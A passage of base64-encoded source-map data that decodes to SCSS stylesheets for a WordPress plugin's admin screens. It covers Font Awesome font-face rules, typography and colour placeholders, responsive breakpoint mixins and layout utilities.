HRcdFx0Zm9ybWF0KFwid29mZjJcIiksXG5cdFx0dXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LndvZmY\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwid29mZlwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQudHRmP3Y9I3skZmEtdmVyc2lvbn1cIilcblx0XHRcdGZvcm1hdChcInRydWV0eXBlXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC5zdmc\u002Fdj0jeyRmYS12ZXJzaW9ufSNmb250YXdlc29tZXNvbGlkXCIpXG5cdFx0XHRmb3JtYXQoXCJzdmdcIik7XG5cdGZvbnQtd2VpZ2h0OiA5MDA7XG5cdGZvbnQtc3R5bGU6IG5vcm1hbDtcbn1cblxuQGZvbnQtZmFjZSB7XG5cdGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG5cdHNyYzogdXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LXJlZ3VsYXIuZW90P3Y9I3skZmEtdmVyc2lvbn1cIik7XG5cdHNyYzpcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci5lb3Q\u002FI2llZml4JnY9I3skZmEtdmVyc2lvbn1cIilcblx0XHRcdGZvcm1hdChcImVtYmVkZGVkLW9wZW50eXBlXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLndvZmYyP3Y9I3skZmEtdmVyc2lvbn1cIilcblx0XHRcdGZvcm1hdChcIndvZmYyXCIpLFxuXHRcdHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC1yZWd1bGFyLndvZmY\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwid29mZlwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci50dGY\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwidHJ1ZXR5cGVcIiksXG5cdFx0dXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LXJlZ3VsYXIuc3ZnP3Y9I3skZmEtdmVyc2lvbn0jZm9udGF3ZXNvbWVyZWd1bGFyXCIpXG5cdFx0XHRmb3JtYXQoXCJzdmdcIik7XG5cdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdGZvbnQtc3R5bGU6IG5vcm1hbDtcbn1cbkBmb250LWZhY2Uge1xuXHRmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuXHRzcmM6IHVybChcIiN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMuZW90P3Y9I3skZmEtdmVyc2lvbn1cIik7XG5cdHNyYzpcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLmVvdD8jaWVmaXgmdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwiZW1iZWRkZWQtb3BlbnR5cGVcIiksXG5cdFx0dXJsKFwiI3skZmEtZm9udC1wYXRofS9mb250YXdlc29uZS13ZWJmb250LWJyYW5kcy53b2ZmMj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ3b2ZmMlwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLndvZmY\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuXHRcdFx0Zm9ybWF0KFwid29mZlwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLnR0Zj92PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJ0cnVldHlwZVwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLnN2Zz92PSN7JGZhLXZlcnNpb259I2ZvbnRhd2Vzb21lcmVndWxhclwiKVxuXHRcdFx0Zm9ybWF0KFwic3ZnXCIpO1xuXHRmb250LXdlaWdodDogMzAwO1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG59XG4vLyAvLy8gRk9OVCBBV0VTT01FIC8vIEVORFxuXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBXT1JEUFJFU1MgT1ZFUlJJREVTXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi53cmFwIGgyLm5hdi10YWItd3JhcHBlciB7XG5cdGZvbnQtc2l6ZTogMWVtO1xufVxuLy8gLy8vIFdPUkRQUkVTUyBPVkVSUklERVMgLy8gRU5EXG4iLCJAdXNlICd0eXBvJztcbkB1c2UgJ3Nhc3M6bWF0aCc7XG5AdXNlICdhZG1pbl9jb25maWcnO1xuXG5AdXNlICdzZXR0aW5ncy1taXhpbnMnO1xuQGltcG9ydCAnaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M\u002FZmFtaWx5PU9wZW4rU2FuczozMDAsNDAwLDYwMCw3MDAnO1xuJGZvbnRmYW1pbHktLW1haW46ICdPcGVuIFNhbnMnLCBzYW5zLXNlcmlmO1xuJGZvbnQtc2l6ZS1iYXNlOiAxNHB4ICFkZWZhdWx0O1xuJGZvbnQtc2l6ZS1sYXJnZTogbWF0aC5jZWlsKCgkZm9udC1zaXplLWJhc2UgKiAxLjI1KSkgIWRlZmF1bHQ7IC8vIH4xOHB4XG4kZm9udC1zaXplLXNtYWxsOiBtYXRoLmNlaWwoKCRmb250LXNpemUtYmFzZSAqIDAuODUpKSAhZGVmYXVsdDsgLy8gfjEycHhcblxuLy8gU0laRVNcbiVmb250LWJpZ2dlciB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IDFyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjhlbTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cbiVmb250LWJpZyB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IDEuMTI1cmVtO1xuICBsaW5lLWhlaWdodDogMS44ZW07XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG5cbkBtaXhpbiBmb250LWJpZyB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IDEuMTI1cmVtO1xuICBsaW5lLWhlaWdodDogMS44ZW07XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG5cbiVmb250LW1lZGl1bSB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IDAuODc1cmVtO1xuICBsaW5lLWhlaWdodDogMS4zNzVlbTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuQG1peGluIGZvbnQtbWVkaXVtIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjM3NWVtO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xufVxuXG4lZm9udC1zbWFsbCB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IDAuNjg3NXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuMjVlbTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuJWZvbnQtYmlnZ2VyLW4ge1xuICBmb250LWZhbWlseTogdHlwby4kZm9udGZhbWlseS0tbWFpbjtcbiAgZm9udC1zaXplOiBlbSgyMHB4KTtcbiAgbGluZS1oZWlnaHQ6IGVtKDM0cHgpO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgZm9udC1zaXplOiBlbSgyNHB4KTtcbiAgfVxufVxuJWZvbnQtYmlnLW4ge1xuICBmb250LWZhbWlseTogdHlwby4kZm9udGZhbWlseS0tbWFpbjtcbiAgZm9udC1zaXplOiAxcmVtO1xuICBsaW5lLWhlaWdodDogMS44ZW07XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG5cbiVmb250LW1lZGl1bS1uIHtcbiAgZm9udC1mYW1pbHk6IHR5cG8uJGZvbnRmYW1pbHktLW1haW47XG4gIGZvbnQtc2l6ZTogZW0oMTZweCk7XG4gIGxpbmUtaGVpZ2h0OiBlbSgyMnB4KTtcbiAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuJWZvbnQtc21hbGwtbiB7XG4gIGZvbnQtZmFtaWx5OiB0eXBvLiRmb250ZmFtaWx5LS1tYWluO1xuICBmb250LXNpemU6IGVtKDE0cHgpO1xuICBsaW5lLWhlaWdodDogZW0oMjBweCk7XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG5cbi8vIFNJWkVTIC8vIEVORFxuXG4vLyBDT0xPUlNcbiVmb250LWNsX3N0YW5kYXJkIHtcbiAgY29sb3I6ICM0NDQ7XG59XG4lZm9udC1jbF9zdGFuZGFyZC0tbWVkaXVtIHtcbiAgY29sb3I6ICM4ODg7XG59XG4lZm9udC1jbF9zdGFuZGFyZC0tbGlnaHQge1xuICBjb2xvcjogI2NjYztcbn1cbiVmb250LWNsX21haW4ge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xufVxuJWZvbnQtY2xfbWFpbi0tbWVkaXVtIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbWVkaXVtO1xufVxuJWZvbnQtY2xfbWFpbi0tbGlnaHQge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbn1cbiVmb250LWNsX21haW4tLWVtcGhhc2lzIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG59XG4lZm9udC1jbF9wcm9ibGVtIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbn1cbiVmb250LWNsX3Byb2JsZW0tLWxpZ2h0IHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQ7XG59XG4lZm9udC1jbF93YXJuaW5nIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfd2FybmluZztcbn1cbiVmb250LWNsX3dhcm5pbmctLWxpZ2h0IHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfd2FybmluZy0tbGlnaHQ7XG59XG4lZm9udC1jbF9vayB7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xufVxuLy8gQ09MT1JTIC8vIEVORFxuXG4lZm9udC1pY29uIHtcbiAgLy9jb2xvcjogd2hpdGU7XG4gIGZvbnQtZmFtaWx5OiAnRm9udEF3ZXNvbWUnO1xuICBmb250LXNpemU6IDAuOTJyZW07XG4gIGZvbnQtd2VpZ2h0OiA5MDA7XG59XG4lc2xuLXRleHRzaXplLS1iaWdnZXIge1xuICBmb250LXNpemU6IDEuNGVtO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIGZvbnQtc2l6ZTogMS42ZW07XG4gIH1cbn1cbkBtaXhpbiBmb250LWljb24oJGZvbnRTaXplOiBudWxsKSB7XG4gIGZvbnQtZmFtaWx5OiAnRm9udEF3ZXNvbWUnO1xuICBmb250LXdlaWdodDogOTAwO1xuICBAaWYgKCRmb250U2l6ZSkge1xuICAgIGZvbnQtc2l6ZTogJGZvbnRTaXplO1xuICAgIGxpbmUtaGVpZ2h0OiAwO1xuICB9IEBlbHNlIHtcbiAgICBmb250LXNpemU6IDFlbTtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgfVxufVxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAvLy8gRk9OVCBBV0VTT01FXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbiRmYS1mb250LXBhdGg6ICcuLi9mb250cycgIWRlZmF1bHQ7XG4kZmEtdmVyc2lvbjogJzUuMTQuMCcgIWRlZmF1bHQ7XG5AZm9udC1mYWNlIHtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIHNyYzogdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQuZW90P3Y9I3skZmEtdmVyc2lvbn0nKTtcbiAgc3JjOlxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LmVvdD8jaWVmaXgmdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ2VtYmVkZGVkLW9wZW50eXBlJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQud29mZjI\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3dvZmYyJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQud29mZj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnd29mZicpLFxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LnR0Zj92PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgndHJ1ZXR5cGUnKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbWUtd2ViZm9udC5zdmc\u002Fdj0jeyRmYS12ZXJzaW9ufSNmb250YXdlc29tZXNvbGlkJylcbiAgICAgIGZvcm1hdCgnc3ZnJyk7XG4gIGZvbnQtd2VpZ2h0OiA5MDA7XG4gIGZvbnQtc3R5bGU6IG5vcm1hbDtcbn1cblxuLyogRklYIDA5MjAyMyBcbiovXG5AZm9udC1mYWNlIHtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIHNyYzogdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci5lb3Q\u002Fdj0jeyRmYS12ZXJzaW9ufScpO1xuICBzcmM6XG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci5lb3Q\u002FI2llZml4JnY9I3skZmEtdmVyc2lvbn0nKVxuICAgICAgZm9ybWF0KCdlbWJlZGRlZC1vcGVudHlwZScpLFxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29tZS13ZWJmb250LXJlZ3VsYXIud29mZjI\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3dvZmYyJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci53b2ZmP3Y9I3skZmEtdmVyc2lvbn0nKVxuICAgICAgZm9ybWF0KCd3b2ZmJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci50dGY\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3RydWV0eXBlJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQtcmVndWxhci5zdmc\u002Fdj0jeyRmYS12ZXJzaW9ufSNmb250YXdlc29tZXJlZ3VsYXInKVxuICAgICAgZm9ybWF0KCdzdmcnKTtcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgZm9udC1zdHlsZTogbm9ybWFsO1xufVxuXG5AZm9udC1mYWNlIHtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIHNyYzogdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLmVvdD92PSN7JGZhLXZlcnNpb259Jyk7XG4gIHNyYzpcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMuZW90PyNpZWZpeCZ2PSN7JGZhLXZlcnNpb259JylcbiAgICAgIGZvcm1hdCgnZW1iZWRkZWQtb3BlbnR5cGUnKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMud29mZjI\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3dvZmYyJyksXG4gICAgdXJsKCcjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb25lLXdlYmZvbnQtYnJhbmRzLndvZmY\u002Fdj0jeyRmYS12ZXJzaW9ufScpXG4gICAgICBmb3JtYXQoJ3dvZmYnKSxcbiAgICB1cmwoJyN7JGZhLWZvbnQtcGF0aH0vZm9udGF3ZXNvbmUtd2ViZm9udC1icmFuZHMudHRmP3Y9I3skZmEtdmVyc2lvbn0nKVxuICAgICAgZm9ybWF0KCd0cnVldHlwZScpLFxuICAgIHVybCgnI3skZmEtZm9udC1wYXRofS9mb250YXdlc29uZS13ZWJmb250LWJyYW5kcy5zdmc\u002Fdj0jeyRmYS12ZXJzaW9ufSNmb250YXdlc29tZXJlZ3VsYXInKVxuICAgICAgZm9ybWF0KCdzdmcnKTtcbiAgZm9udC13ZWlnaHQ6IDMwMDtcbiAgZm9udC1zdHlsZTogbm9ybWFsO1xufVxuLy8gLy8vIEZPTlQgQVdFU09NRSAvLyBFTkRcblxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAvLy8gV09SRFBSRVNTIE9WRVJSSURFU1xuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4ud3JhcCBoMi5uYXYtdGFiLXdyYXBwZXIge1xuICBmb250LXNpemU6IDFlbTtcbn1cbi8vIC8vLyBXT1JEUFJFU1MgT1ZFUlJJREVTIC8vIEVORFxuIiwiQHVzZSBcInNhc3M6bWF0aFwiO1xuQHVzZSBcInNhc3M6Y29sb3JcIjtcbi8vIFZBUklBQkxFU1xuI3Nsbi1zYWxvbixcbi5zbG4tZGF0YXNob3J0Y29kZSB7XG4gICosXG4gICo6YmVmb3JlLFxuICAqOmFmdGVyIHtcbiAgICAtbW96LWJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgLXdlYmtpdC1ib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgJjpmb2N1cyB7XG4gICAgICBvdXRsaW5lOiAwICFpbXBvcnRhbnQ7XG4gICAgfVxuICB9XG59XG5AZnVuY3Rpb24gdW5pdCgkdmFsdWUpIHtcbiAgJHVuaVZhbHVlOiAoJHZhbHVlICogMTYpICsgcHg7XG4gIEByZXR1cm4gJHVuaVZhbHVlO1xufVxuJGJyb3dzZXItY29udGV4dDogMThweDtcblxuQGZ1bmN0aW9uIHJlbSgkcGl4ZWxzLCAkY29udGV4dDogJGJyb3dzZXItY29udGV4dCkge1xuICBAaWYgKG1hdGguaXMtdW5pdGxlc3MoJHBpeGVscykpIHtcbiAgICAkcGl4ZWxzOiAkcGl4ZWxzICogMXB4O1xuICB9XG5cbiAgQGlmIChtYXRoLmlzLXVuaXRsZXNzKCRjb250ZXh0KSkge1xuICAgICRjb250ZXh0OiAkY29udGV4dCAqIDFweDtcbiAgfVxuXG4gIEByZXR1cm4gY2FsYygkcGl4ZWxzIC8gJGNvbnRleHQpICogMXJlbTtcbn1cblxuQGZ1bmN0aW9uIGVtKCRwaXhlbHMsICRjb250ZXh0OiAkYnJvd3Nlci1jb250ZXh0KSB7XG4gIEBpZiAobWF0aC5pcy11bml0bGVzcygkcGl4ZWxzKSkge1xuICAgICRwaXhlbHM6ICRwaXhlbHMgKiAxcHg7XG4gIH1cblxuICBAaWYgKG1hdGguaXMtdW5pdGxlc3MoJGNvbnRleHQpKSB7XG4gICAgJGNvbnRleHQ6ICRjb250ZXh0ICogMXB4O1xuICB9XG5cbiAgQHJldHVybiBjYWxjKCRwaXhlbHMgLyAkY29udGV4dCkgKiAxZW07XG59XG5cbkBtaXhpbiBicCgkcG9pbnQpIHtcbiAgQGlmICRwb2ludCA9PSBkZXNrdG9wLXhsIHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEyMDBweCkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9IEBlbHNlIGlmICRwb2ludCA9PSBkZXNrdG9wIHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDk5MnB4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHRhYmxldCB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9IEBlbHNlIGlmICRwb2ludCA9PSB0YWJsZXQtcG9ydCB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtd2lkdGg6IDEwMjNweCkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9IEBlbHNlIGlmICRwb2ludCA9PSB0YWJsZXQtbWF4LXBvcnQge1xuICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiA5OTFweCkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9IEBlbHNlIGlmICRwb2ludCA9PSB0YWJsZXQtbGEge1xuICAgIEBtZWRpYSBhbGwgYW5kIChtaW4tZGV2aWNlLXdpZHRoOiA3NjhweCkgYW5kIChtYXgtZGV2aWNlLXdpZHRoOiAxMDI0cHgpIGFuZCAob3JpZW50YXRpb246IGxhbmRzY2FwZSkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9IEBlbHNlIGlmICRwb2ludCA9PSBwaG9uZSB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9IEBlbHNlIGlmICRwb2ludCA9PSBwaG9uZS1wb3J0IHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDMyMHB4KSB7XG4gICAgICBAY29udGVudDtcbiAgICB9XG4gIH0gQGVsc2UgaWYgJHBvaW50ID09IHBob25lLWxhIHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDMyMXB4KSBhbmQgKG1heC13aWR0aDogNTY4cHgpIGFuZCAob3JpZW50YXRpb246IGxhbmRzY2FwZSkge1xuICAgICAgQGNvbnRlbnQ7XG4gICAgfVxuICB9XG59XG5cbkBtaXhpbiBpZTExKCkge1xuICBAbWVkaWEgc2NyZWVuIGFuZCAoLW1zLWhpZ2gtY29udHJhc3Q6IGFjdGl2ZSksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgIEBjb250ZW50O1xuICB9XG59XG5cbi8vIE1JWElOU1xuQG1peGluIHRyYW5zLWdlbmVyaWMoJHNwZWVkKSB7XG4gIC13ZWJraXQtdHJhbnNpdGlvbjogYWxsICRzcGVlZCBlYXNlLWluLW91dDtcbiAgLW1vei10cmFuc2l0aW9uOiBhbGwgJHNwZWVkIGVhc2UtaW4tb3V0O1xuICAtby10cmFuc2l0aW9uOiBhbGwgJHNwZWVkIGVhc2UtaW4tb3V0O1xuICB0cmFuc2l0aW9uOiBhbGwgJHNwZWVkIGVhc2UtaW4tb3V0O1xufVxuQG1peGluIHRyYW5zaXRpb24oJHByb3AuLi4pIHtcbiAgJiB7XG4gICAgLXdlYmtpdC10cmFuc2l0aW9uOiAkcHJvcDtcbiAgICAtbW96LXRyYW5zaXRpb246ICRwcm9wO1xuICAgIC1vLXRyYW5zaXRpb246ICRwcm9wO1xuICAgIHRyYW5zaXRpb246ICRwcm9wO1xuICB9XG59XG5AbWl4aW4gdHJhbnNmb3JtKCRwcm9wLi4uKSB7XG4gICYge1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiAkcHJvcDtcbiAgICAtbW96LXRyYW5zZm9ybTogJHByb3A7XG4gICAgLW1zLXRyYW5zZm9ybTogJHByb3A7XG4gICAgLW8tdHJhbnNmb3JtOiAkcHJvcDtcbiAgICB0cmFuc2Zvcm06ICRwcm9wO1xuICB9XG59XG5cbkBtaXhpbiBiLXJhZGl1cygkdmFsdWUpIHtcbiAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogJHZhbHVlO1xuICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHZhbHVlO1xuICBib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAkdmFsdWU7XG4gIGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAkdmFsdWU7XG4gIEBpZiAkdmFsdWUgPT0gNTAlIHtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgYm9yZGVyLXJhZGl1czogOTk5OXB4O1xuICB9XG59XG5cbkBtaXhpbiBncmlkLWNvbHVtbiB7XG4gIEBmb3IgJGkgZnJvbSAxIHRocm91Z2ggNDAwIHtcbiAgICAmOm50aC1jaGlsZCgjeyRpfSkge1xuICAgICAgZ3JpZC1jb2x1bW46ICRpO1xuICAgIH1cbiAgfVxufVxuXG4vKipcbiAqIEZvciBtb2Rlcm4gYnJvd3NlcnNcbiAqIDEuIFRoZSBzcGFjZSBjb250ZW50IGlzIG9uZSB3YXkgdG8gYXZvaWQgYW4gT3BlcmEgYnVnIHdoZW4gdGhlXG4gKiAgICBjb250ZW50ZWRpdGFibGUgYXR0cmlidXRlIGlzIGluY2x1ZGVkIGFueXdoZXJlIGVsc2UgaW4gdGhlIGRvY3VtZW50LlxuICogICAgT3RoZXJ3aXNlIGl0IGNhdXNlcyBzcGFjZSB0byBhcHBlYXIgYXQgdGhlIHRvcCBhbmQgYm90dG9tIG9mIGVsZW1lbnRzXG4gKiAgICB0aGF0IGFyZSBjbGVhcmZpeGVkLlxuICogMi4gVGhlIHVzZSBvZiBgdGFibGVgIHJhdGhlciB0aGFuIGBibG9ja2AgaXMgb25seSBuZWNlc3NhcnkgaWYgdXNpbmdcbiAqICAgIGA6YmVmb3JlYCB0byBjb250YWluIHRoZSB0b3AtbWFyZ2lucyBvZiBjaGlsZCBlbGVtZW50cy5cbiAqL1xuXG5AbWl4aW4gY2xlYXJmaXgoKSB7XG4gICY6YmVmb3JlLFxuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiBcIiBcIjtcbiAgICBkaXNwbGF5OiB0YWJsZTtcbiAgfVxuICAmOmFmdGVyIHtcbiAgICBjbGVhcjogYm90aDtcbiAgfVxufVxuLmNsZWFyZml4LFxuLmNsZWFyIHtcbiAgQGluY2x1ZGUgY2xlYXJmaXgoKTtcbn1cbiVhYnNvbHV0ZS1jZW50ZXJpbmcge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHRvcDogNTAlO1xuICBsZWZ0OiA1MCU7XG4gIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHRyYW5zbGF0ZVkoLTUwJSk7XG4gIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgtNTAlKTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHRyYW5zbGF0ZVkoLTUwJSk7XG59XG4lYWJzb2x1dGUtaG9yaXpvbnRhbC1jZW50ZXJpbmcge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIGxlZnQ6IDUwJTtcbiAgLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgwKTtcbiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKSB0cmFuc2xhdGVZKDApO1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgwKTtcbn1cbiVhYnNvbHV0ZS12ZXJ0aWNhbC1jZW50ZXJpbmcge1xuICBwb3NpdGlvbj